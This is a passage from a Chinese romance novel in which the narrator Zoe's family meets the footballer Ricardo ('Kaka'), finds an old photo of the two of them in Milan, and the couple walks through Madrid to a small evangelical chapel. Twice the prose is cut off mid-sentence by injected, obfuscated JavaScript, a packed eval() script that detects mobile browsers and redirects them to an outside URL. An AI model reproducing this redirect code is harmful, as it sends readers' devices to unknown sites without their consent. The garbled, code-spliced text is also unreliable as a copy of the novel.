“你还代言过阿玛尼?”布兰卡那满含惊讶的声音传至我耳畔。他当然有足够的资格。他肩膀宽阔,双腿修长,穿上衬衫的模样迷人得让人移不开眼。只需稍稍打理一下头发,就能成为无可挑剔的模特。 我的视线又从雕像移到了旁边的棕榈树盆景上。发现树叶有些稀疏了,看来得提醒胡安,要让园丁把这棵可怜的小树搬到院子里,让它好好晒一晒太阳。哦,胡安这会儿还在病房里呢,要是他在,肯定会爽朗地哈哈大笑,开上几个玩笑,他自然也会很喜欢里卡多。 两人的话题很快转到了足坛的趣闻轶事上。我以前怎么没发现布兰卡这么健谈?我不禁暗自纳闷,随后决定上楼去看看阿尔玛。她去房间里拿老照片,已经去了好一会儿了。 就在我正要起身之际,莱昂的声音再度响起。 “我可以听听你对感情的看法吗?”他平和地问。 我心中微微一紧,装作若无其事地坐回原位。 里卡多深深看了我一眼:“我渴望稳定长久的感情关系。我把恋爱看作是一段寻找终身伴侣的旅程,它的最终目标是婚姻。” 莱昂微微挑起眉毛,似乎对他的回答颇感意外:“我听闻你曾有过一段婚姻?” 刹那间,一丝黯然神色在里卡多眼中一闪而过。紧接着,他深吸一口气,坦然道:“是的,我有过一段失败的婚姻经历。我无意为自己的过去找借口,但那段经历确实让我成长许多。它让我在对待感情时愈发审慎,也让我更加明晰自己内心真正渴望的是什么。我依然满怀期待,盼望遇见那个携手一生的人。” “你认为这个人是我女儿?” “是的。” 莱昂动了动嘴角,那表情让人捉摸不透,既像是对里卡多的认可,又仿佛带着一丝保留。 “难以置信,卡卡居然坐在我外婆家的客厅里,向我妹妹真情告白。”达尼尔的声音幽幽传来,打破了此刻的微妙沉默。卡洛斯轻轻拍了下他的脑袋,示意他小声点。 “人们总是在追求正确,却又对损失和错误深恶痛绝。”莱昂正色道,“是什么让你确信这个人就是佐伊?世上从不缺少年轻美丽的女孩,有一些具有出众的才华和智慧,另一些则拥有卓越的品质。那么,为什么是佐伊呢?” 里卡多顿时语塞。显然,这个问题让他一时之间难以找到合适的言辞回应。 见此情景,我清了清嗓子,向莱昂使了个眼色,满心期望他能就此打住,别再这么步步紧逼。可莱昂却故意移开了目光。我佯装气恼道:“真不知道你什么时候喜欢上玩宗教裁判所那一套了,爸爸——” 莱昂这才转过头,冲我挑了挑眉:“很严重的指控,小甜饼。”他又将目光转向里卡多,“请原谅我的不近人情。今天看到新闻时,我们着实吃了一惊,但我很高兴佐伊能遇到像你这样优秀的年轻人。以你的阅历和品格,无疑会让她在这段感情中收获良多。我非常支持她尽情体验生活,享受这段特别的时光。” 他微微停顿了一下,继续说道:“在和你交谈后,我发现你对待感情的态度与现在许多年轻人截然不同。专情,这本是一种难能可贵的品质,尤其是在这个人心浮躁的时代。但孩子们,务必警醒,即使是再美好的品质,一旦走向极端,便容易使人陷入盲目,既看不清对方,也看不清自己。里卡多,我必须问你,就像我之前问佐伊的那样,你是因为什么才爱她呢?” 里卡多微微一怔,刚要开口回应,莱昂却出人意料地抬手做了个手势,示意他暂且不要说话。 “不必急于回答,给自己留些时间,在往后的日子里去感受和思考。实际上,你甚至都不用回答我,毕竟,你真正需要回应的,只有你自己的心。” 里卡多再度愣住,下意识地转过头,恰好迎上我满含同情投来的目光。“我爸爸是个热爱探讨哲学问题的建筑师。”我无奈道。 “哈哈,这话说得一点没错。”阿尔玛从楼梯上走了下来,手里拿着一本相册,她将眼眸轻阖成一弯细缝,打趣道,“所以呀,胡安和他这个女婿总是有聊不完的话题。” 我眼睛一亮,赶忙往旁边挪了挪,腾出沙发上的位置,冲阿尔玛招手:“外婆,快来这边坐!” - “这些都是我小时候的照片。”我手指轻点着阿尔玛翻开的相册,向里卡多介绍,“快瞧瞧这张,这是达尼尔,他十来岁的时候,又黑又瘦,简直就像从远古丛林里窜出来的疯狂原始人。” “奶奶,我的照片就别拿出来示众了吧!”达尼尔发出一声夸张的哀嚎。 “你是捎带上的配菜。”我笑着调侃他,“不得不说,在你的衬托下,我显得更加白净了。” “佐伊小时候漂亮得像个洋娃娃。”阿尔玛满眼慈爱地看着我。 “佐伊一直都非常可爱。”里卡多赞同道。 “喏,就是这一张。”阿尔玛轻轻翻过一页,指着其中一张照片说。 这是——我好奇地凑上前去,目光刚一触及照片,瞳孔就瞬间放大了。 “这是我?”里卡多错愕道。 映入我们眼帘的这张照片里,竟有一个年少的里卡多! 照片里的他,一头棕发柔顺而服帖,穿一件纯白的T恤,稳稳地将一团粉泡泡糖似的小女孩抱在怀中。他们站在一家意大利餐厅门前,餐厅的遮阳篷红白相间,窗户上装饰着两弯蜻蜓触须似的嫩绿色橄榄枝。 彼时二十来岁的他,绽放出灿烂笑容,一口洁白牙齿闪着微光,褐色眼眸清澈温柔,如同长毛牧羊犬的眼睛一般。而他臂弯中的小女孩,一头栗色泛金的浓密长卷发肆意垂落,一双冷幽幽的碧眼,右手紧紧环住他的脖颈,左手牵着一只正轻盈浮于半空中的银色气球。 “那是2003年的事了。”阿尔玛回忆道,“那年佐伊才六岁,来马德里过暑假,我们就带着她去西西里岛旅行,途中还特意绕路去了趟米兰,就为了拜访一位许久未曾谋面的老朋友。那天中午,那位朋友带我们去了一家非常地道的米兰传统餐厅。巧的是,你和你的家人就坐在我们旁边那桌。”她朝里卡多偏了偏头,“当时有好几个女孩过来找你合影、要签名,我们这才知道原来你是一个足球明星。” “真的吗?”趁着阿尔玛停下来喝茶的间隙,我急忙问。 看得出,屋子里除了阿尔玛以外,每个人都露出了极其吃惊的表情,显然,这件往事对他们来说同样新鲜。 “妈妈,你从没和我说过这件事。”布兰卡满脸诧异,忍不住说道。 “亲爱的,我记得那会儿你正和莱昂在东南亚考察呢。”阿尔玛轻轻放下茶杯,语气温和地解释道,“那段时间,我们常常联系不上你们。” 我拧紧眉心,陷入苦苦思索:“我记得小时候去过米兰,可我怎么也想不起来在那儿遇见过里卡多。” 我试图在记忆的深处挖掘,那些模糊的影像和遥远的笑声开始在脑海中时隐时现,浮沉起落,它们被一点点推挤着,冲刷着,显露出棱角分明的轮廓。但关于里卡多的记忆,仍旧如同被风吹散的烟雾,执意从我手中飘去,留给我那片空荡荡、毫无所依的空气。 阿尔玛忽然露出一抹顽皮的笑意,对里卡多说:“在餐厅吃饭的时候,佐伊不停地往你那边瞧,我们打趣问她为什么老看你,她脆生生地说‘我喜欢那个大哥哥’。” 里卡多一下子笑出了声,我感觉耳朵根开始发烫了。 “我真的一点儿印象都没有了。”我小声嘟囔道。 阿尔玛笑意盈盈地看向我,眼中满是回忆的柔光 :“当时我们都觉得很新奇。你外公忍不住逗你:‘你昨天还念叨着喜欢半人马喀戎呢,怎么今天又喜欢起人类来了?’你回答说:‘因为这个大哥哥像天使。’吃完饭,你怎么都不肯离开,还跑到卡卡身边,仰着小脑袋,眼巴巴地望着他。卡卡瞧你可爱,便提议抱着你拍张照,这才有了这张照片。” 说完,阿尔玛小心翼翼地把照片取下来,翻到背面,上面果然有两行字:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956410|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 给小佐伊:愿你的世界永远被爱环绕,愿你像飞驰的足球一般,无论飞向何方,都能划破长空,勇往直前!——卡卡 我一下子怔住了。这些字迹虽然已经褪色,但它们承载着的祝福却依旧清晰。当时的里卡多,那个被我视为天使的大哥哥,是小小的我对于美好事物的纯真向往吗? 一种奇妙的联系,仿佛穿透了时空那层层叠叠的壁垒,将童年的我和现在的我紧紧相连。 时间,这位无形的雕刻家,或许能够重塑万物,悄无声息地带走无数的记忆碎片。然而,在它漫长的流转中,总有一些情感,能够抵御时间的雕琢。它们如此显眼,分辨它们就如同在碎裂一地的玻璃渣中捡拾起闪闪发光的钻石。 于是,我们俯身将它们一一拾起,永远鲜活地留存于心灵深处,让它们在那里扎根、抽芽、绽放、结果,直至这些情感最终成为我们性格中无法分割、不可或缺的一部分,以一种难以察觉的方式,潜移默化地塑造着我们对这个世界的感受与理解。 “真是不可思议。”里卡多凝视着照片,仿佛被某种魔力定住了目光。片刻之后,他抬起头,目光越过阿尔玛,与我的视线不期而遇。 “我想起来了,”他微微仰头,声音里带着一丝怀念的温柔,“那是我刚转会到米兰的那年夏天。一次训练结束后,安切洛蒂先生问我,家人是不是已经回巴西了。我告诉他,他们打算看完我的意甲首秀再离开。安切洛蒂先生就推荐了那家餐厅,他说那里的米兰菜地道正宗,堪称一流。” 他将目光轻轻落在我身上,眼神中透着一种奇特而又深情的光芒:“你就是那个在餐厅里的小女孩,有着一双美丽的蓝绿色眼睛。只是那时,你的头发还是卷的。” “我小时候的头发自然卷曲,”我解释道,“但随着年龄的增长,它慢慢就变得越来越直了。” “原来是这样啊。时间真是个奇妙的存在,它改变了我们的年龄、容颜、体态,乃至记忆。”他轻声细语,仿佛在对自己说,又似在向我倾诉,“它改变了如此之多,可似乎又无法触及那些真正宝贵的东西。” “这简直像是从三流爱情小说里蹦出来的情节!”不知何时冒出来的达尼尔,突然发出一声深深的感叹。 还没等我们反应过来,他唰地一下抓起那张照片,像发现了稀世珍宝一样,兴奋地挥舞着,朝着卡洛斯冲了过去。 “快来看!这是米兰时期卡卡的亲笔签名!”他兴奋地叫嚷着。 “嘿!快把照片还给我!”我急忙跳起来,追着他满屋子跑。 “拿卡卡的签名球衣来换!” - “希望你在这儿没有觉得不自在。”我陪里卡多走到路边,轻声对他说。 “一开始确实有些局促。”他坦率地承认,“不过随着时间的推移,氛围变得越来越融洽,我感觉自己渐渐融入了你的家人之中。” “我还是觉得很奇妙。”我将目光从他身上移开,任由它徜徉在广阔的夜空之中,“我是说,今天发生的一切。” 他追随着我的视线。“你之前说过,觉得这一切就像一个浪漫故事。” “《帆船奇缘》?”我眨了眨眼。 “呃……”他想了想,挫败道,“或许我们可以暂时当回人类?” “如你所愿。”我忍不住笑出声来,随即抿起嘴,严肃地点点头,“好啦,我们现在变身完毕了,帆船人。” “想知道我们的故事是如何开始的吗?” 他勾起了我的好奇心,我侧过头来看他:“嗯?是不是这样:很多年以前,一个小女孩在米兰遇到了一个少年,遗憾的是,后来她完全忘记了他。可幸运的是,十二年后,她又重新遇到了他。” 他装出一副委屈的模样:“所以你是真的把我忘了。” “其实这样也挺浪漫的,对吧?”我绞尽脑汁地说,“这意味着我会反复地爱上你。你瞧,我六岁的时候就觉得你像个天使。而现在,这个天使终于属于我了。” 一大朵黑羊毛般蓬松的云悄悄移开,将月亮从它的背后释放出来,房子和树木的阴影似乎在淡黄色月光的怀抱里渐渐融化。 我看见他嘴角微微翘起。他站定在我面前,轻柔地捧起我的脸。“我还有另一个版本的开头,发生在这一切尚未开始之前。也许我们的人生故事,我早已在天堂读过了,而我之所以选择这个剧本,是因为这一生中有我认为值得的人。” “那个人是谁?” “小狐狸,你在明知故问。” 我的心瞬间变得柔软无比。 “可你走过了人生的三分之一,我们才相遇。” 他的吻自我的脸颊徐徐滑落,最终,似蝴蝶停驻般,落于我的嘴角。“反过来说,我仅仅用去了生命的三分之一,就找到了你,爱上了你。” “如果真有这样的剧本,或许我只是一个配角,游离于主线剧情边缘。你又怎么知道,上帝对你的人生不是另有一种安排呢?” “倘若真是那样,”他的唇轻轻地擦过我微微颤抖的下唇,似从灵魂深处逸出一声喟叹,“那我们就在命运的舞台上即兴创作,跳出既定的剧本。因为我只愿与你共舞。” 我呼吸频促,忍不住伸出双臂,紧紧搂住他的脖颈,贴上他的双唇。 “无论如何,我剩下的……三分之二人生,全都……属于你。只属于你。”他断断续续的话语,被喘息声切割成一片又一片,在月色溶溶的眼波里,悠悠地、湲湲地飘荡开来。 25. 金毛骑士 第二天,我和家人一起去医院看望胡安,里卡多也和我们同行,卡洛斯因为有一场走秀活动而缺席。阿尔玛和布兰卡已经完全喜欢里卡多了,更别提达尼尔这个“卡卡迷”了,他简直不能把目光从里卡多身上移开,一路上围着他聒噪个不停。 “你不是C罗的粉丝吗?”在病房里,我终于按捺不住,向达尼尔发问。 “我是。”达尼尔耸了耸肩膀,“但我也同样欣赏卡卡。全世界的人都喜欢他,多我一个不多,他简直是个完美的男人!何况现在这个可是活生生的卡卡!” 我看了一眼正在陪胡安说话的里卡多——为了尽量不刺激胡安的心脏,我们只是向他介绍里卡多是我的一位朋友。但我总觉得胡安似乎已经察觉到了什么。 “原来你和佐伊是在美国认识的……”胡安慈爱地说。 不过,我并没有听到太多他们的对话,因为整个上午我和达尼尔都在医院里来来回回、忙忙碌碌地奔波个不停。我们一会儿前往餐厅订餐,一会儿赶去面包店取为庆祝胡安转危为安而预定的蛋糕,一会儿又忙着给那些不熟悉医院布局的朋友们指引病房的方向。 期间,我已经在医院的走廊里路过了四五簇聚在一起、低声私语的护士们,她们的谈话不可避免地飘进我的耳朵。 “那是不是卡卡呀?他本人比镜头里还帅气!” “就是他呀!我昨晚就刷到那个视频了,他就在马德里。” “什么视频?” “推特上那个,YouTube上也有人传了,你没看过吗?我发给你。” “我好想找他拍张合照,他应该不会拒绝吧?新闻里都说他脾气特别好。” “诶,话说他有新恋情这事,是真的吗?他和那个女孩——” “卡卡自己都承认了,快看呐!就是她,和卡卡在一起的女孩——” “哇哦,她长得可真漂亮!” 我脸一红,连忙假装自己正急着赶路,目不斜视地把同行的那位老教授匆匆引进病房里。 可回到病房,也没能让我脸上的热度退下去。胡安所住的单人病房十分宽敞,电视、沙发、餐桌、盥洗室等设施一应俱全。此刻,病房里早已装满了人。 鉴于胡安的身体状况,我们一心想要低调行事,然而前来探望的人中,还是有不少人认出了里卡多。长辈们彼此心照不宣,只是以友善的态度向佐伊口中的这位 “好朋友” 致以问候 。 相较之下,年轻人的反应则热烈得多。他们时不时凑到我身边,低声询问我是否真的在和卡卡谈恋爱。满足了自己的好奇心后,又满心期待、跃跃欲试地想要和这位足球明星聊上几句。好在胡安一直让里卡多坐在自己身旁,而里卡多也始终全神贯注地聆听胡安说话,这才避开了这些热情得有些过头的西班牙年轻人。 当我和他一同走出医院大门——一路上多次为球迷签名、合影留念——我们不约而同地长舒了一口气。 “胡安都和你聊些什么呀?” 里卡多伸手正要拉驾驶座的车门,我故意勾住他的手指,轻巧地从他掌心中取走了车钥匙。 他动作一顿,侧过身来,那迷茫的表情让我忍不住哧哧笑出了声。 “你中午喝了酒。”他迅速反应过来,目光随之滑落到在我食指晃悠的车钥匙上。 “只喝了一小杯水果酒,而且是在那种庆祝的气氛下。”我眨了眨眼,试图为自己开脱,“好吧,我不开车就是了。不过你得告诉我胡安和你说什么啦,你们至少聊了有两个小时。” “大部分时间,我们都在聊你。” “这我倒是不意外。那他没问你的情况吗?” 里卡多摇了摇头:“他和我说了很多关于你的事情。”他嘴角一弯,“你小时候真的拿着雨伞追着邻居家的小男孩满院子跑,还把人家逼上了树?” 我睁大了眼睛,又惊又窘:“胡安怎么把这件事都告诉你了?好吧,那是真的,因为那个捣蛋鬼居然把阿尔玛种在院子里的花全摘光了。” “那拿着扫帚和一大堆氢气球爬到屋顶上,想要飞起来的事呢?” “呃……”我踟躇起来,显得有些尴尬,“那时我刚看完《哈利波特》,脑袋里满是奇思妙想——好啦,给你钥匙,麻瓜先生。”我忙不迭地把车钥匙塞进他手里,就像扔掉一块烫手山芋,只想赶紧堵住他的嘴。 他扫了一眼重回手里的车匙,微抬眉头看向我:“如果我没记错的吧,巫师应该更喜欢骑飞天扫帚出行,而不是用长着四个轮子的麻瓜交通工具吧?” 我立刻明白他在调侃我,鼓起腮帮子,气鼓鼓地瞪着他。 他却笑眯眯地接着说道:“还有一次,在学校的科学展览上,你因为太兴奋,不小心打翻了自己做的火山模型,结果‘火山爆发’,纸浆和颜料溅得到处都是,所有人都变成了五颜六色。” “胡安居然记得这么清楚。”我下意识地摸了摸下巴,喃喃自语道,“不过他是不是跟你说得太多了?我是说,怎么一直揪着我小时候的事儿聊呢 ?” “你的意思是,胡安看出我们的关系了?” “很有可能。”我无奈地摊了摊手,绕到另一边去打开车门,“要是胡安只当你是我的普通朋友,可不会拉着你说这么多。看来我们的演技不怎么样。不过,从另一个角度看,这证明他很喜欢你,万人迷麻瓜先生。这倒是件好事。” “那是我的荣幸。”里卡多倾身坐进来,随手关上驾驶座的车门,那张转向我的脸上现出了一种愉快的神情,“万人迷麻瓜先生?我喜欢这个称呼前缀,巫师小姐。” “你当时真的打算骑着扫把从屋顶跳下去?”他启动引擎时,还是忍不住好奇问了一句。 我挺起脊背,绷着脸点点头,瞥见他眼中的笑意后又补充了一句:“我在草地上铺了七八层被褥,绝对有自信摔不着自己。如果不是邻居的尖叫声把午睡的保姆惊醒,说不定现在你见到的我,就得拄着拐杖走路了。”我一本正经地说。 “看来除了飙车,你还有个爱往屋顶上跑的‘小癖好’。为了你日后的健康着想,说不定我该把家里二楼以上的楼层都拆了。” “嘿!太夸张了吧,我那会儿才八岁!” - 这天下午,我们驱车在马德里的街道间穿梭,两旁的建筑在阳光下投下长长的影子,仿佛在诉说这座城市悠久的历史。经过一些熟悉的景点和街道时,我和里卡多便互相分享回忆。 “你竟然也来过这里?”我难掩惊喜,不禁脱口道。 “这里有一座福音堂,闲暇时我会去那儿祷告。”他回忆道。 “我知道那个地方。”我立刻伸出手,指向车窗外,“藏在巷子深处,一家咖啡馆的背后。我发现它的时候还挺惊讶。你知道,西班牙是天主教的阵地,福音派的教堂确实不多见。” “那时候我压力很大。”他的声音很轻,“在教堂里安静地祷告,是为数不多能让我内心寻得平静的时刻。” “要不要故地重游?”我提议。 他略作犹豫,随即摇了摇头:“今天不是礼拜日,教堂恐怕不会开门。” “那我们就在教堂外面逛逛吧。走吧,我也想去瞧瞧我一直喜欢的那家旧杂货铺是不是还在那儿。” 他微笑了一下,接受了我的建议,把车缓缓停靠在路边。这辆惹眼的敞篷跑车果不其然引来了道路两侧闲来无事的行人的注目,甚至有人开始拿出手机拍照。 “我们快点走,趁大家还没认出你。”我等他从街那头的停车计费器折返回来,就飞快地接过停车票,放在挡风玻璃后,然后从车里跳出来,紧紧拽着他的手,朝着巷子里飞奔而去。 “等等,佐伊,别跑那么急——小心跌倒。” 我一路拉着他,直至跑到拐角处,才气喘吁吁地停下脚步。“如果不快点跑,你的球迷就要围上来了。” 他无奈地看着我,然后环顾四周。 高高低低的小房子一幢挨着一幢,挤满了这几条枝枝蔓蔓的小巷。房子的外墙被粉刷得色彩斑斓,柠檬黄、奶油白、蜜杏色、石榴红、松石绿……还有飘来的阵阵花香,是墙角冒出的葱茏花木一个劲地摇曳生姿。 那些巨大的夹竹桃,枝干圆润而粗壮,枝头挂满了艳粉和白色的花簇。在花丛的掩映下,石墙上悬挂的神龛中,圣母玛利亚双目低垂,神情温柔而悲悯。 我们走在窄街中,脚下的石砖路因岁月的打磨而变得格外光滑。 我们路过了几间几个世纪前的巴洛克风格的小屋,墙面上的砖块已经裂开,石灰斑驳,鼓起了一个个小气泡。不少铁制的阳台上,五彩缤纷的花盆错落有致地悬挂着,盛开着各色娇艳的鲜花。道路两旁的店铺门口,摆满了各式各样的商品,从新鲜果蔬到手工制品一应俱全。偶尔,我们也会遇到在店门前的椅子上悠闲喝咖啡的老人。 路过一家火腿店时,我进去买了一小块现切的塞拉诺火腿。 “说不定我们曾在这里擦肩而过。”我脑海中突然闪过这样一个奇妙的念头,忍不住出声说道。 “幸好两年前我们还没相遇。” “哈哈!”我忍俊不禁,笑出了声,“你是怕遇见我的时候,我还没有成年吗?” 他窘迫地瞥了我一眼。 “现在想想,我反而要庆幸前几年没有跟达尼尔去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956411|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯纳乌看比赛。” “为什么?” “要是那时遇见了你,我肯定会对你一见钟情。”我揶揄道,“暗恋一个已婚男人的滋味可不好受。” 我们先去看了看我念叨的那家旧杂货铺,遗憾的是,它已经更换了门牌,变成了一家印度菜餐厅。餐厅的大门紧闭,尚未开始营业,我们也无从打听关于旧杂货铺的情况。 尽管如此,我也没有感到沮丧,而是向里卡多解释道:“那家杂货店的老板是一位七十多岁的老奶奶。去年我来的时候,她告诉我,想趁着这几年身体还健朗,带着她爱人的骨灰去环游世界。我想,她现在应该正在实现这个愿望吧。” 随后,我带着里卡多转入两幢建筑物之间的一条幽僻小径。那小径极为狭窄,仅容一人侧身通行。走了一小段路后穿过一个明亮的小天井,推开一扇虚掩的铁门,接着又沿另一条窄弄继续前行。 阳光在这里止步,两侧住宅的阴影里,羊齿植物熙熙攘攘地从粗糙的石缝中爬出,墙头上的簕杜鹃、铁线莲和爬藤月季生长得异常茂盛,层层叠叠宛若一道河流,蜿蜒着红粉与乳白,淡紫与亮黄。 我们穿越这些色彩杂生的乱流和分岔,用手拂过翠叶和花丛,偶尔摘下一朵多瓣月季,在宁静中走走停停。 “这是一条近路。”我得意地对里卡多歪了歪头。 “现在你真的像个会施魔法的女巫。”里卡多微笑道,“这不会是你占卜出来的吧?” 我调皮地凑近他的耳朵,低声说:“因为我拥有和小动物心灵沟通的能力,是一个可爱的小家伙带我找到这里的。” 他眉毛轻轻一挑:“是快乐王子的那只小鸟吗?” 我神秘地摇摇头。 就在这时,我眼睛一亮,兴奋地向前挥手,大声呼唤:“夏天!快过来!还记得我吗?” 一只金色的大狗不知从哪个角落蹿了出来,直奔我们而来。它的毛发金黄而闪亮,像披着一层流动的蜂蜜。 它一下子扑到我面前,蓬松的大尾巴在身后欢快地摇晃着。我蹲下身,轻轻挠了挠这只大金毛的下巴,它惬意地抖动了两下耳朵,伸出湿润的舌头,轻柔地舔舐我的手心。它的脖子上戴着一个棕红色的皮质项圈,黑色的眼睛看起来很有灵性。 “就是这个小家伙带你发现这条路的?”里卡多问道,声音中难掩一丝惊讶。 “没错。”我的脸上不可抑制地洋溢起笑容,“这是附近居民养的狗,它经常在这一带闲逛,是一位忠实的导游。” “它叫夏天?”里卡多向前迈了一步,弯下腰,摸了摸它的头。 金毛犬温顺地在我们面前坐了下来,嘴巴放松地张开,吐出粉红色的舌头,露出一个典型的“金毛微笑”。 “它的主人在夏天收养了它,就给它取了这个名字。”我直起身,解释道。 “你好啊,夏天,你真是个乖孩子。”里卡多温柔地对它说,他顺着夏天光滑的皮毛,从头顶一直抚摸到它结实的背部。夏天似乎听懂了他的话,欢快地晃了晃尾巴,作为友好的回应。 我从包里掏出刚才买的那块火腿,正在亲昵地蹭着里卡多的夏天一下就被吸引到了我身边,兴奋的情绪在它金色的毛发间荡漾开来。 “原来这是给它买的。”里卡多恍然大悟。 “这是心灵沟通仪式必不可少的辅助品。”我煞有其事地说。 夏天的耳朵微微竖起,如同警觉的小雷达,毛茸茸的尾巴就像一根不停摆动的鼓槌,黑溜溜的瞳孔跟随着我手上的每一个动作,湿润的小鼻子开始快速地翕动,显然已经敏锐地捕捉到了火腿诱人的香味。 我笑盈盈地撕开火腿的包装,那股肉香愈发浓烈。尽管大狗把尾巴摇摆得更加起劲,喉咙里甚至开始发出吞咽口水的声音,但它仍然保持着良好的坐姿。 “吃吧,好孩子。”我把火腿递到它面前,它这才迫不及待地一口咬住,然后退到一旁,满足地咀嚼起来。 里卡多和我相视一笑。 “要不要和我们一起走呀,小夏天?”等它吃完之后,我问它。 金毛犬抬起头,摇了摇尾巴,轻轻地用头蹭了蹭我的腿,仿佛在回应我的邀请。随后,它往前走了几步,又停下来,用期待的眼神回望着我。 “这仪式还挺有效的,”里卡多打趣道,“我看夏天已经被你彻底收买了。” “出发吧!金毛骑士和牧师先生!”我单手叉腰,朝前用力一指,气焰嚣张地大喊,“去寻找我们的宝藏!去打败恶龙!拯救淳朴善良的村民们!” “遵命,女巫小姐。”里卡多嘴角含笑,配合地说,“我这是从麻瓜升级成牧师啦?” 26. 福音堂 在花丛消失的地方,就映入了琥珀色的阳光。 我们悠然转过一个巷角,来到了一条稍微宽阔一些的街道。这里稀稀落落地栽着几棵高大的欧洲七叶树,枝桠被暑气蒸得摇曳颤动,鸟儿在树冠里竞相鸣啭,啁啾一片。 道路上的行人寥寥无几,只有白色的尘埃在空气中飞舞,好似微不可察的鸢尾根粉末般飘渺。深邃的树荫、房屋的阴影与反射阳光的明亮区域间错分布,呈现出素描般的效果。 夏天熟门熟路地在前方领路,偶尔停下来,嗅一嗅墙根和树脚处那些被遗忘的气息。当我们漫步经过那家名叫“树莓与蜂”的咖啡馆时,不由得驻足倾听,里面正缓缓流淌出德彪西的《亚麻色头发的少女》。 里卡多进去买咖啡,我待在门口色彩艳丽的遮阳伞下,看着夏天钻到灌木丛里追逐一只翩翩飞舞的大蝴蝶。 金毛犬时而冲刺,时而跳跃,蝴蝶灵巧地躲避,忽而飞起,忽而落下,最后优雅地转身,飞向了不远处教堂的山墙下。 这是一座小小的福音堂,四四方方的高楼,通体白色,朴素得近乎简陋。 教堂四周被郁郁葱葱的杂草所围绕,西侧长着两株消瘦的南欧紫荆,它们丛生着,依傍在教堂饱经沧桑的石墙上。东面山墙则被一层绿油油的铁角蕨覆盖,一串风铃草从最高处的裂缝里钻出,在空中摇摆着紫色铃铛。山墙下的草地则是西番莲的地盘,几颗鸡蛋大小的百香果稀稀疏疏地挂在叶间。 夏天追着蝴蝶跑到那里,一下就对这只花枝招展的小东西失去了兴趣,转而对那些看起来格外诱人的果子嗅来嗅去。 这个小馋鬼。我无奈地摇了摇头,踱步到夏天旁边,俯身仔细端详了一会儿这些若隐若现的绿色果子,自言自语道:“这些应该是野生的吧?会不会很酸呢?” “这些果子还没长熟。”一个男人的声音从我们斜后方传来。 我直起身,扭过头,目光随之落在一个穿着灰色衬衫的高瘦男人身上,他正向教堂门口走来。他头发微卷,颧骨突出,手中提着一只工具箱,虽然没有穿着牧师袍,但他仍显得体态端正,气质庄严。 我眨了眨眼,完全转过身来,带着几分试探道:“约书亚牧师?” “佐伊,好久不见了。”他冲我点了点头。 “您还记得我?”我不禁有些受宠若惊。 牧师露出一个和善的微笑,弯下腰来,伸手抚摸着主动蹭过来的大金毛。 “以前你经常和夏天一起过来。”他说道,“这些百香果等到外皮变成金黄色就可以吃了,届时它们的味道会非常香甜。夏天之前吃过一次,看来它是念念不忘了。” “哈哈,”我忍不住笑了,低头看向金毛犬,“你还得再等一阵呢,你应该能闻得出来这些果子还没成熟吧?没成熟的果子会很酸的。” 夏天抖了抖身上蓬松的毛,走到我身边,汪汪叫了两声。 “佐伊——” 里卡多捧着两杯咖啡,脸上洋溢着惊喜,快步朝我们走来,“约书亚牧师,您也在这里,我原以为今天您不会来教堂。” “教堂的地板有一块总翘起来,我过来修一修。”牧师举起手中的工具箱,向我们示意了一下,接着说道,“里卡多,我们差不多快两年没见面了,你最近还好吗?我听说你已经去了美国。” “是的,我现在在美国踢球,过得还不错。”里卡多边说边走到我身边,我伸手想去接一杯咖啡,他轻轻避开了,摇头道,“咖啡很冰,我先给你拿一会儿。” 牧师静静地看着我们。“看来,你已经学会放下了。”他温和地对里卡多说。 里卡多微笑了一下:“不合适的两个人,再怎么坚持,也不过是互相折磨。已经发生的事,再怎样懊悔,都无法改变。牧师,这是您曾经教导我的,‘覆水难收,溯洄难涉,我们只能心存希望往前走’,我现在才真正懂得。” - 我托着腮,坐在长椅上,看着里卡多帮约书亚牧师递工具,后者刚拿着尖嘴钳撬起了讲坛旁的一块老旧地板,现在正接过锤子,将用于替换的新地板牢牢固定在位。 牧师需要自己修地板这件事已经很接地气了,而旁边递工具的人,竟然是卡卡……这谁敢相信啊! 我端起放在长桌上的冰拿铁,吸溜了一口。夏天趴在我的脚边,懒洋洋地伸展了一下身体,打了个大大的哈欠,那模样,仿佛这世间的一切都与它无关,只沉浸在自己的慵懒时光里。 这所福音堂仍守着它的质朴无华。木质桌椅饱经岁月摩挲,往昔光滑不再,只余斑驳的痕迹。砖石筑起的墙面,既不见华丽的宗教壁画,也未受粉饰的沾染,唯有寥寥几块镌刻着经文的白石碑。讲坛上空空荡荡,正对着我的那面墙上,木质十字架默然镶嵌其中,于幽微黯淡的光线里,仿若超脱尘世的圣物。 我在两年前的一个周末闲逛到这里,当时教堂里仅有二十来个教众,约书亚牧师正站在讲坛旁拉手风琴,一个领唱者带领着众人齐声吟唱西班牙民谣。我被悠扬婉转的歌声所吸引,情不自禁步入其中。 小时候,我曾随胡安和阿尔玛参加过天主教堂的弥撒,那里无一不是金碧荧煌、恢弘肃穆,如同踏入天国的画卷。 数不清的玫瑰花窗似万花筒般折射着阳光,将下方的铺路石板染成彩虹般的绚丽色彩。穹顶之上,四壁之间,绘满了栩栩如生的圣徒和天使,仿若从天堂翩然而至。最东端祭坛的后面耸立着巨大的十字架和受难耶稣雕像,身披素色祭批的黑袍神父神情庄重,规模庞大的唱诗班立在圣坛两侧,他们的歌声在宏伟空间中久久回荡。 